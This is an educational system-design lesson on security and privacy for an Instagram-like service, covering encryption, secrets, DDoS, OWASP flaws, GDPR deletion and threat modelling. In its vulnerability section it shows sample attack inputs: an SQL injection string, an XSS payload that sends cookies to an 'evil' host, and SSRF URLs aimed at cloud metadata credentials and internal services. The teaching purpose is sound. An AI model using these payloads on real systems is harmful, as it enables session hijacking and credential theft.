TL;DR

1. The problem: why is security so central for Instagram?

Instagram holds some of the most personal data people have: private photos and videos, direct messages, phone numbers and emails, who they follow, where they were when a photo was taken, and what they look at. It is also a huge target:

And regulators (GDPR in the EU, many others) impose obligations — with fines in the hundreds of millions of euros — on how personal data is collected, used, retained and deleted. Security cannot be one box in the architecture diagram; it is a property of every box: the apps, DNS, the load balancer, the API Gateway (TLS, authN/Z, rate limiting), each service, every data store, Kafka, and the analytics platform.

🧠 Analogy Think of a bank. There are guards at the entrance (DDoS protection, WAF), ID checks at the counter (authentication), different keys for different rooms (least privilege), staff badges checked at every internal door, not just the front door (zero trust), a vault whose combination is itself locked in another safe (envelope encryption), CCTV recording who opened which drawer (audit logs), and shredders for documents customers ask to destroy (deletion). No single measure is enough — the security comes from the layers ("defence in depth").

2. The CIA triad

🔒 Confidentiality

Only authorised people can read data. Breach examples: a private account's photos visible to strangers; DMs leaked; phone numbers scraped.

✅ Integrity

Data isn't altered without authorisation. Breach examples: an attacker posts from your account; like counts inflated by bots; a tampered image served from the CDN.

🟢 Availability

The service works when users need it. Breach examples: DDoS takes down the feed; ransomware encrypts databases.

Two more properties are often added: authenticity (you know who you're talking to — the app really is talking to Instagram, the login really is you) and non-repudiation (actions can be proven, e.g. via audit logs). Every control in this lesson protects one or more of these.

3. Encryption in transit

3.1 TLS between apps and Instagram

TLS (Transport Layer Security, the "S" in HTTPS) gives a connection three guarantees: confidentiality (encrypted), integrity (tampering is detected) and server authentication (the certificate proves the server is really instagram.com). See Networking Basics for the handshake. In practice:

3.2 mTLS between services

Inside the data center, the old model was "the internal network is trusted". Modern systems assume an attacker may already be inside (a compromised host), so service-to-service calls also use TLS — and mutual TLS (mTLS), where both sides present certificates. The Feed Service proves to the Ranking Service that it really is the Feed Service, and vice versa.

📱 Apppins certificate Edge PoPTLS 1.3 terminates LB / Gatewayre-encrypted Feed Servicecert: svc/feed Rankingcert: svc/ranking Data storesTLS + AES at rest TLSTLS mTLS: bothsides verified Every hop encrypted; inside the data center, both caller and callee prove their identity.
Encryption in transit end to end: TLS from the app to the edge, re-encryption to the data center, and mTLS between services and to data stores.

4. Encryption at rest

Encryption at rest protects data on disks, backups and object storage if the media is stolen, improperly decommissioned, or accessed outside the application. The standard cipher is AES-256 (Advanced Encryption Standard with a 256-bit key), usually in GCM mode, which also detects tampering.

LevelWhat's encryptedProtects againstDoesn't protect against
Full-disk / volumeEntire disks (self-encrypting drives, LUKS, cloud EBS encryption)Stolen or discarded drivesAnyone who can query the running database
Database / storage-level (TDE, S3 SSE)Database files, objectsAccess to raw files, backups, snapshotsA compromised app or DB user
Application / field-levelSpecific fields encrypted by the app before storage (phone number, email, DM content)DB admins, SQL injection dumps, leaked backupsA compromised app server holding the keys; makes querying harder

4.1 KMS and envelope encryption

Encryption only moves the problem to the key. Keys must never sit next to the data or in code. A Key Management Service (KMS) — AWS KMS, Google Cloud KMS, HashiCorp Vault, or an internal equivalent backed by HSMs (hardware security modules) — holds master keys that never leave it; services ask the KMS to encrypt/decrypt small things, with every use access-controlled and audit-logged.

But you can't send petabytes of photos through a KMS. Envelope encryption solves this:

  1. For each object (or shard, or user), generate a random data encryption key (DEK) locally.
  2. Encrypt the data with the DEK (fast, local AES).
  3. Ask the KMS to encrypt the DEK with a key encryption key (KEK) that never leaves the KMS. Store the encrypted DEK next to the data; discard the plaintext DEK.
  4. To read: send the encrypted DEK to the KMS (which checks permissions and logs the request), get the plaintext DEK back, decrypt the data, cache the DEK briefly.
   ┌──────────── stored in S3 / DB ────────────┐          ┌──────── KMS / HSM ────────┐
   │  ciphertext = AES-GCM(DEK, photo bytes)   │          │  KEK (never leaves)       │
   │  wrapped_DEK = Encrypt(KEK, DEK)          │ ◄──────► │  Decrypt(wrapped_DEK)     │
   └───────────────────────────────────────────┘  unwrap  │  → DEK  (audit-logged)    │
                                                            └───────────────────────────┘
 Rotating the KEK = re-wrap the small DEKs, not re-encrypt petabytes of data.
 Destroying a user's DEK = all their data becomes unreadable ("crypto-shredding").
def store_encrypted(user_id, blob):
    dek = os.urandom(32)                                  # 256-bit data key
    nonce = os.urandom(12)
    ciphertext = AESGCM(dek).encrypt(nonce, blob, associated_data=str(user_id).encode())
    wrapped = kms.encrypt(key_id="ig/user-data-kek", plaintext=dek)   # tiny KMS call
    db.put(user_id, {"ct": ciphertext, "nonce": nonce, "wrapped_dek": wrapped})
    del dek                                               # never persisted in plaintext

Key rotation becomes cheap (re-wrap DEKs), blast radius is small (one leaked DEK exposes one object/user), and per-user DEKs enable crypto-shredding — deleting a user's key makes every copy of their encrypted data, including in backups, unreadable. That is a powerful tool for deletion (section 12).

5. Secrets management

A secret is any credential: database passwords, API keys for push providers (APNs/FCM — see Notifications), signing keys for CDN URLs and session tokens, TLS private keys. Leaked secrets in source code are one of the most common causes of breaches — public repositories are scanned by attackers within minutes of a push.

6. DDoS: types and mitigations

A Distributed Denial of Service (DDoS) attack uses many machines (often a botnet of hijacked IoT devices) to overwhelm a service so legitimate users can't reach it — an attack on availability.

TypeHow it worksExampleMain mitigations
Volumetric (L3/L4)Saturate network links with sheer bandwidth.UDP/DNS/memcached amplification floods of 1+ Tbps.Anycast spreads traffic over hundreds of PoPs; huge edge capacity; upstream scrubbing; drop unused protocols (UDP) at the edge.
Protocol (L3/L4)Exhaust state in servers, firewalls, load balancers.SYN floods (half-open connections), ACK floods, fragmented packets.SYN cookies, stateless edge filtering, connection limits, kernel/hardware offload at the LB.
Application-layer (L7)Valid-looking HTTP requests that are expensive to serve.Millions of search queries or uncached feed/profile requests from many IPs; login floods.WAF rules, rate limiting per IP/account/device, bot detection and challenges, caching, load shedding of expensive endpoints.

Defence is layered from the outside in:

Attack trafficbotnet
→anycast spreads
Edge PoPs / CDNabsorb volume, SYN cookies
→filtered
WAF + bot detectionblock bad patterns
→
Gateway rate limitsper IP / user / device
→
Servicesload shedding, caches

7. Common application vulnerabilities (OWASP-style)

The OWASP Top 10 is a widely used list of the most critical web application security risks. Here are the ones most relevant to an Instagram-like system, with concrete examples and fixes.

7.1 Injection

Untrusted input is interpreted as code or a query. Classic SQL injection in a username lookup:

# ❌ VULNERABLE: input becomes part of the SQL text
q = f"SELECT * FROM users WHERE username = '{name}'"
#   name = "x' OR '1'='1"  → returns every user

# ✅ SAFE: parameterised query — input is always data, never SQL
cur.execute("SELECT id, username FROM users WHERE username = %s", (name,))

The same applies to NoSQL queries, Elasticsearch query DSL built from strings (search), shell commands (ffmpeg invoked with a user-supplied filename in the media pipeline), and LDAP. Use parameterised APIs and argument arrays, never string concatenation.

7.2 Cross-site scripting (XSS)

An attacker stores script in content other users will view — e.g. a comment or bio of <img src=x onerror="fetch('//evil/?c='+document.cookie)">. If instagram.com renders it as HTML, it runs in every viewer's browser with their session. Fixes: context-aware output encoding by default (React/Django templates escape automatically — avoid dangerouslySetInnerHTML / |safe), a strict Content-Security-Policy header that forbids inline scripts, and HttpOnly cookies so scripts can't read session tokens.

7.3 Cross-site request forgery (CSRF)

A malicious page makes the victim's browser send a request to instagram.com, which automatically includes their cookies — e.g. a hidden form that POSTs /web/friendships/<id>/follow/. Fixes: CSRF tokens (a random per-session token that must be included in the request body/header and that the attacker's page can't read), SameSite=Lax/Strict cookies, and checking the Origin header. Mobile apps using bearer tokens in headers (not cookies) aren't vulnerable in the same way.

7.4 Insecure direct object reference (IDOR) / broken access control

The most common serious bug class in APIs: the server trusts an ID from the request without checking the caller may access it.

# ❌ VULNERABLE: anyone who guesses/enumerates a media_id can see a private account's photo
@get("/v1/media/{media_id}")
def get_media(media_id, viewer):
    return media_store.get(media_id)

# ✅ SAFE: authorise every object access on the server
def get_media(media_id, viewer):
    m = media_store.get(media_id)
    owner = users.get(m.owner_id)
    if owner.is_private and not graph.is_approved_follower(viewer.id, owner.id) and viewer.id != owner.id:
        raise NotFound()             # 404, not 403: don't confirm the object exists
    if graph.is_blocked(owner.id, viewer.id):
        raise NotFound()
    return m

Instagram-style IDs are 64-bit and time-ordered (see ID generation), so they're guessable — IDs are not secrets; authorisation must be enforced on every read and write (also for DM threads, story viewers lists, archived posts). Centralise checks in a shared privacy/authorisation layer rather than re-implementing them in each endpoint; see Authentication & Authorization.

7.5 Server-side request forgery (SSRF) via image URLs

Some features make the server fetch a URL supplied by a user: "import profile picture from URL", link previews in DMs, fetching a thumbnail for a shared link. An attacker supplies an internal address instead:

http://169.254.169.254/latest/meta-data/iam/security-credentials/   ← cloud metadata: steals IAM keys
http://10.0.3.17:6379/                                                ← internal Redis
http://localhost:8080/admin                                           ← internal admin panel
http://evil.example/redirect → 302 → http://169.254.169.254/...       ← bypass via redirect / DNS rebinding

Fixes: run URL fetching in an isolated egress proxy with no access to internal networks; resolve the hostname and block private, loopback, link-local and metadata IP ranges (re-check after every redirect, pin the resolved IP to defeat DNS rebinding); allow only http/https and expected ports; limit response size and time; and on clouds enforce IMDSv2 (metadata requires a session token).

7.6 Other high-impact risks

8. Input validation and safe media parsing

Instagram's core feature is accepting files from strangers and processing them on its servers — one of the riskiest things a service can do. Image and video decoders are complex C/C++ code with a long history of memory-corruption vulnerabilities (e.g. "ImageTragick" in ImageMagick in 2016; a heap overflow in libwebp, CVE-2023-4863, exploited in the wild in 2023). A crafted JPEG can mean remote code execution on a media worker.

9. Least privilege and zero trust

Least privilege: every person, service and process gets the minimum access needed, for the minimum time. Zero trust: no implicit trust based on network location — every request is authenticated, authorised and encrypted, whether it comes from the internet or from the next rack ("never trust, always verify"; Google's BeyondCorp is the well-known example).

PrincipleIn practice at Instagram-like scale
Per-service identity & scoped permissionsThe Search Indexer can read the post-created Kafka topic and write to Elasticsearch — nothing else. It cannot read DMs or the password table.
Database grants per serviceFeed Service has read-only access to post metadata; only the User/Auth Service can read credential tables.
Employee accessNo standing access to production user data; just-in-time access with a justification and approval, time-limited, fully audit-logged (section 13).
Device & user verificationEngineers reach internal tools only from managed, healthy devices with hardware-key 2FA — no VPN-equals-trusted.
SegmentationMedia-processing sandboxes cannot open connections to databases; production can't be reached from developer laptops directly.
Blast-radius thinkingAssume any single component is compromised; what can the attacker reach from there? Reduce it.

10. Bot, spam and abuse defence

Much of Instagram's "security" work is fighting abuse: fake accounts, automated likes/follows, spam comments, scam DMs, scraping. Attackers use real phones, residential proxies and human click-farms, so no single signal works. Defence is layered and adaptive:

11. Account security

12. Privacy: GDPR rights, deletion and data minimisation

12.1 GDPR rights in system terms

The EU's General Data Protection Regulation (GDPR) gives people rights over their personal data, and each right becomes an engineering requirement:

RightWhat the user can askSystem requirement
Access (Art. 15)"What data do you have about me?"Find all data for a user across every store and export it (Instagram's "Download your information").
Portability (Art. 20)"Give me my data in a usable format."Machine-readable export (JSON/HTML + media files).
Rectification (Art. 16)"Fix incorrect data."Edits propagate to derived copies (caches, search index).
Erasure (Art. 17)"Delete my data."A deletion pipeline that reaches every copy, within a bounded time.
Restriction / objection (Art. 18, 21)"Stop using my data for X" (e.g. personalised ads).Consent and purpose flags checked by pipelines and ranking.

Underlying principles: lawful basis and purpose limitation (use data only for stated purposes), data minimisation, storage limitation (retention limits), security, and accountability (being able to prove compliance). Regulators enforce with large fines — e.g. Ireland's Data Protection Commission publicly fined Instagram €405 million in 2022 over the handling of children's data.

12.2 A deletion pipeline that reaches every store

Deleting an account is not DELETE FROM users WHERE id = 42. A user's data is spread across the whole architecture diagram: their row in the User DB, posts and comments in Cassandra, photos and every rendition in object storage, cached copies on the CDN, post IDs in millions of followers' Redis timelines, the search index, DMs, likes on others' posts, follow edges in the social graph, analytics tables, ML features and training sets, logs, and backups.

📱 Deleteaccount request Deletion Servicehide now; grace perioddeletion ledger Kafkauser_deleted User DB (PostgreSQL) Posts/comments (Cassandra) Media in S3 + renditions CDN purge Redis caches/timelines Search index (ES) Social graph, DMs Analytics lake, ML data Backupsexpire / crypto-shred Logsshort retention Verifier / reconciliationscans stores for leftovers, reports SLA
Account deletion fans out through Kafka to a deletion handler for every store. A verifier independently checks that nothing was missed; backups and logs are handled by retention and crypto-shredding.
  1. Immediately hide: mark the account deactivated so its profile, posts and comments stop being served (API checks the flag). Optionally start a grace period during which the user can cancel — Meta's help pages describe a 30-day window for Instagram account deletion, after which deletion proceeds and can take up to about 90 days to complete across systems.
  2. Record in a deletion ledger (durable, idempotent), then publish a user_deleted event.
  3. Each owning service deletes its data: user row and credentials; posts, comments and likes (and decrement counters); media objects and all renditions; CDN purge for cached URLs (signed URLs expire anyway); remove the user's posts from followers' Redis timelines lazily or by filtering on read; delete documents from the search index; follow edges; DM content per the product's rules.
  4. Analytics and ML: row-level deletes in lake tables (table formats like Iceberg/Delta support them), drop rows from feature stores; exclude the user from future training sets; pseudonymise where full deletion isn't feasible and the law allows.
  5. Backups: either rely on bounded backup retention (e.g. backups expire after N days, documented in the privacy policy) with a process to re-apply deletions if a backup is ever restored, or crypto-shred by destroying the user's per-user encryption key.
  6. Logs: short retention; user identifiers pseudonymised in long-lived logs.
  7. Verify: an independent reconciliation job scans stores for data belonging to deleted users, and per-store deletion SLAs are monitored. Every new data store must register a deletion handler before launch — otherwise it becomes a silent compliance gap.

Deletion must be idempotent and retryable (handlers will crash halfway), and it must be designed for scale: deleting a celebrity's account touches hundreds of millions of timelines and likes, so it runs as throttled background work.

12.3 Data minimisation and EXIF stripping

The safest data is data you never collect. Data minimisation means collecting only what a feature needs, keeping it only as long as needed, and limiting who and what can access it. Concrete examples:

13. Audit logs

An audit log records security-relevant actions: who (human or service) did what to which resource, when, from where, and why (justification/ticket). Examples: an employee viewing a user's account in an internal tool; a change to a user's email; a KMS decrypt of a sensitive key; a permission grant; a data export.

14. End-to-end encryption for DMs

With TLS + encryption at rest, Instagram's servers can still read DMs (they hold the keys). End-to-end encryption (E2EE) means only the sender's and recipients' devices hold the keys; the server relays ciphertext it cannot decrypt — protecting messages even from a breach of the server or from insider access.

 Alice's phone                         Instagram servers                        Bob's phone
 ─────────────                         ─────────────────                        ───────────
 fetch Bob's public prekey bundle ◄──── key directory (public keys only)
 X3DH key agreement → shared secret
 Double Ratchet: new key per message
 encrypt("see you at 7") ──────────────► store & forward ciphertext ───────────► decrypt with own keys
                                         sees: sender, recipient, time, size
                                         cannot see: content

15. Threat modelling with STRIDE

Threat modelling is a structured way to ask "what can go wrong?" before building. Draw the data-flow diagram (clients, gateway, services, stores, trust boundaries), then for each element and each boundary walk through Microsoft's STRIDE categories:

ThreatViolatesInstagram exampleTypical mitigations
SpoofingAuthenticityLogging in as someone else with stuffed credentials; a rogue service calling Ranking.2FA, anomaly detection, mTLS service identity.
TamperingIntegrityModifying an upload in transit; altering like counts via API abuse.TLS, signed URLs, server-side validation, integrity checks.
RepudiationNon-repudiationAn employee denies accessing a user's data.Tamper-evident audit logs.
Information disclosureConfidentialityIDOR exposing private posts; phone numbers in API responses; EXIF GPS leaks.Authorisation checks, minimisation, encryption, EXIF stripping.
Denial of serviceAvailabilityL7 flood on search; decompression bomb on media workers.Edge absorption, rate limits, resource limits, load shedding.
Elevation of privilegeAuthorisationExploit in an image decoder gives code execution on a worker, then pivots to databases.Sandboxing, least privilege, segmentation, patching.

Quick guide: (1) diagram the feature and mark trust boundaries (internet ⇄ edge, service ⇄ service, service ⇄ third party); (2) list STRIDE threats per element; (3) rate them (likelihood × impact); (4) decide mitigations, accept or transfer the rest; (5) revisit when the design changes. Doing this for "import profile picture from URL" would surface SSRF immediately.

16. How Instagram applies security & privacy

📱 Apppinned TLS, attestation
→
EdgeDDoS absorption, WAF
→
API GatewayauthN/Z, rate limits
→mTLS
Servicesprivacy checks, least privilege
→
Storesencrypted, audited

Mapping the lesson onto the main architecture diagram:

📸 Publicly known Instagram/Meta practices Publicly documented features include two-factor authentication (authenticator apps, SMS, security keys), a Login activity page where users can see and log out sessions, security emails about new logins, a Download your information data export, and account deletion with a 30-day grace period (per Meta's help pages). Meta runs a long-standing public bug bounty program covering Instagram, through which researchers have reported issues such as IDOR and account-takeover bugs. Instagram is widely reported to strip location EXIF metadata from uploaded photos. Meta made E2EE the default for Messenger in 2023 and has stated plans to extend it to Instagram DMs. Internal details — exact rate limits, ML models, key hierarchies — are not public, and the designs in this lesson are reasonable assumptions.

Rough numbers (assumptions)

Login attempts: 50k/s at peak; credential-stuffing bursts can add 10× from millions of IPs
  → per-account + per-IP + per-device limits, plus ML risk scoring in < 20 ms per login
DDoS: 2 Tbps volumetric attack ÷ 200 anycast PoPs ≈ 10 Gbps per PoP → absorbed at the edge
Deletion: 1M account deletions/day × ~10 stores ≈ 10M deletion tasks/day ≈ 115 tasks/s (bursty)
KMS: envelope encryption → 1 KMS call per new object/user key, not per byte; DEKs cached briefly

17. Trade-offs & common pitfalls

✅ Benefits

  • Protects users' most personal data and trust in the product
  • Reduces breach impact through layered defences
  • Keeps the service available under attack
  • Regulatory compliance; avoids huge fines
  • Healthier platform with less spam and fewer fake accounts

⚠️ Costs

  • Latency and CPU overhead (TLS, mTLS, KMS calls, checks)
  • Friction for users (2FA, challenges) — and false positives that block real people
  • Engineering complexity: key management, deletion across every store
  • E2EE limits server features (search, moderation, history sync)
  • Constant arms race with attackers

Common pitfalls

18. Real-world technologies

TechnologyCategoryWhen to use
Let's Encrypt / ACME, internal CAs, SPIFFE/SPIRECertificates and workload identityAutomated TLS certificates; short-lived service identities for mTLS.
Envoy, Istio, LinkerdService meshTransparent mTLS and service-to-service authorisation policies.
AWS KMS, Google Cloud KMS, Azure Key Vault, HSMsKey managementMaster keys, envelope encryption, audit of key use.
HashiCorp Vault, AWS Secrets Manager, GCP Secret ManagerSecrets managementStoring, injecting and rotating secrets; dynamic DB credentials.
Cloudflare, Akamai, AWS Shield + WAF, Google Cloud ArmorDDoS protection and WAFEdge absorption and L7 filtering.
reCAPTCHA, hCaptcha, Cloudflare Turnstile; Play Integrity, App AttestBot challenges and device attestationAdding friction for risky traffic; verifying genuine apps.
Argon2id / bcrypt; TOTP; WebAuthn / passkeysCredential securityPassword hashing; 2FA; phishing-resistant login.
Signal Protocol (libsignal)End-to-end encryptionE2EE messaging.
OWASP ZAP, Burp Suite, Semgrep, CodeQL, Dependabot/Snyk, gitleaksSecurity testing and scanningFinding vulnerabilities, vulnerable dependencies and leaked secrets.
gVisor, Firecracker, seccomp; libFuzzer/OSS-FuzzSandboxing and fuzzingIsolating and hardening untrusted-media parsing.

19. Interview corner

How do you secure communication between Instagram's microservices?

Zero trust: every call uses mTLS with short-lived certificates carrying a service identity (SPIFFE-style), issued and rotated automatically by an internal CA, typically via a service mesh sidecar. On top of authentication, enforce authorisation policies (which services may call which methods), propagate end-user identity in a signed token for user-level checks, and log access to sensitive services. Network segmentation and least-privilege data-store credentials limit blast radius if one service is compromised.

Explain envelope encryption and why it's used.

Data is encrypted locally with a random data key (DEK, AES-256-GCM); the DEK is encrypted ("wrapped") by a key-encryption key that never leaves the KMS/HSM, and the wrapped DEK is stored with the data. Reads unwrap the DEK through the KMS (access-controlled, audited) and cache it briefly. Benefits: bulk data never goes through the KMS (performance), KEK rotation only re-wraps small DEKs, compromise of one DEK exposes only its object, and per-user DEKs enable crypto-shredding for deletion — including copies inside backups.

A security researcher reports they can view private accounts' photos by changing the media ID in the API. What happened and how do you fix it systemically?

An IDOR / broken access control: the endpoint fetched the object by ID without checking whether the viewer may see it. Immediate fix: add the privacy check (owner, approved follower, not blocked) and return 404. Systemic fixes: route all content reads through a centralised privacy/authorisation layer so endpoints can't forget; automated tests and static checks that every data-fetching endpoint calls it; assume IDs are guessable; audit logs to determine whether it was exploited; and a bug-bounty payout plus a postmortem.

Design account deletion so that it satisfies GDPR's right to erasure.

Immediately deactivate (stop serving) the account, optional grace period, then a durable deletion ledger and a user_deleted event on Kafka. Every store owns a registered, idempotent deletion handler: User DB, Cassandra posts/comments/likes (with counter fixes), object storage media and renditions, CDN purge, Redis caches/timelines, search index, graph edges, DMs, feature store, analytics lake (row-level deletes), ML training-set exclusion; logs via short retention/pseudonymisation; backups via bounded retention with re-deletion on restore, or crypto-shredding. A reconciliation job verifies no leftovers and per-store SLAs are monitored. New stores can't launch without a deletion handler.

How would you defend the login endpoint against credential stuffing?

Layers: rate limits per account, per IP, per device and per ASN; a risk model using IP reputation, device fingerprint/attestation, failure ratios across many accounts and velocity; step-up challenges (CAPTCHA, email/SMS code) for risky attempts instead of hard blocks; checking passwords against breached-password lists and forcing resets for known-compromised credentials; encouraging 2FA/passkeys; notifying users of new logins; and generic error messages that don't reveal whether an account exists. Monitor login success-rate anomalies globally.

What changes in the system when DMs become end-to-end encrypted?

The server stores and forwards ciphertext and hosts a public-key directory (identity keys, signed prekeys, one-time prekeys); clients do X3DH and Double Ratchet. Multi-device needs per-device keys and fan-out encryption. Server-side features that read content — search, link previews generated on the server, spam/abuse scanning — must move to the client or rely on metadata and user reports. History on new devices needs encrypted backups with HSM-protected recovery keys. Metadata still needs protection and minimisation. Key-change notifications and safety numbers guard against a malicious directory.

20. Check your understanding

Classify each as a confidentiality, integrity or availability problem: (a) a bot inflates like counts, (b) a SYN flood takes down the load balancers, (c) a cached private photo URL is shared publicly, (d) ransomware encrypts the user DB.

(a) Integrity (data no longer reflects reality). (b) Availability. (c) Confidentiality (mitigated by signed, expiring URLs). (d) Primarily availability (and integrity) — and confidentiality too if data is also exfiltrated, as modern ransomware usually does.

The "import photo from URL" feature fetches http://169.254.169.254/latest/meta-data/ for an attacker. Name the vulnerability and three mitigations.

SSRF. Mitigations: fetch through an isolated egress proxy with no internal network access; resolve and block private/loopback/link-local/metadata ranges (rechecking after redirects and pinning the resolved IP against DNS rebinding); require IMDSv2-style tokens for metadata; allow only http/https on standard ports with size/time limits.

A 2.4 Tbps volumetric attack hits your anycast IP announced from 300 PoPs, each with 40 Gbps of spare capacity. Do you survive, and what if you used a single data center with a 400 Gbps uplink?

Anycast spreads it to ~2.4 Tbps / 300 = 8 Gbps per PoP (if evenly distributed), well under 40 Gbps — absorbed. A single 400 Gbps uplink would be saturated 6× over, and legitimate users couldn't reach you regardless of how well your servers filter. (Real distributions are uneven, so headroom matters.)

A user changes their password because they think they were hacked. Their stolen session on the attacker's phone keeps working for 7 days. What design mistake is this, and the fix?

Sessions/tokens weren't revocable — e.g. long-lived self-contained tokens checked only by signature. Fix: server-side session records (or a revocation list) checked by the gateway, with short-lived access tokens (minutes) and refresh tokens that are invalidated on password change and on "log out of all devices".

Why does re-encoding every uploaded image improve both security and privacy?

Security: output is produced by your encoder in a known-good format, so malformed structures, polyglot files and hidden payloads in the original aren't served to other users (decoding should still be sandboxed, since the exploit risk is in parsing). Privacy: re-encoding drops EXIF metadata such as GPS coordinates and device serials.

You delete a user's rows from PostgreSQL and Cassandra. List four other places their data probably still lives.

Any four of: object storage media and renditions; CDN caches; Redis caches and followers' timelines; Elasticsearch search index; social-graph store; DM store; analytics lake/warehouse tables; feature store and ML training sets; logs; backups and snapshots; Kafka topics within retention.

Apply STRIDE to the Stories "viewers list" feature (who viewed my story). Name one threat in two different categories.

Examples: Information disclosure — an IDOR lets anyone fetch another user's viewer list by story ID (fix: owner-only authorisation). Tampering — a bot inflates view counts or injects fake viewers (fix: server-side view recording with rate limits and bot detection). Denial of service — a celebrity's story with millions of viewers makes the list endpoint expensive (fix: pagination, caching, limits).

🎯 Key takeaways

Related lessons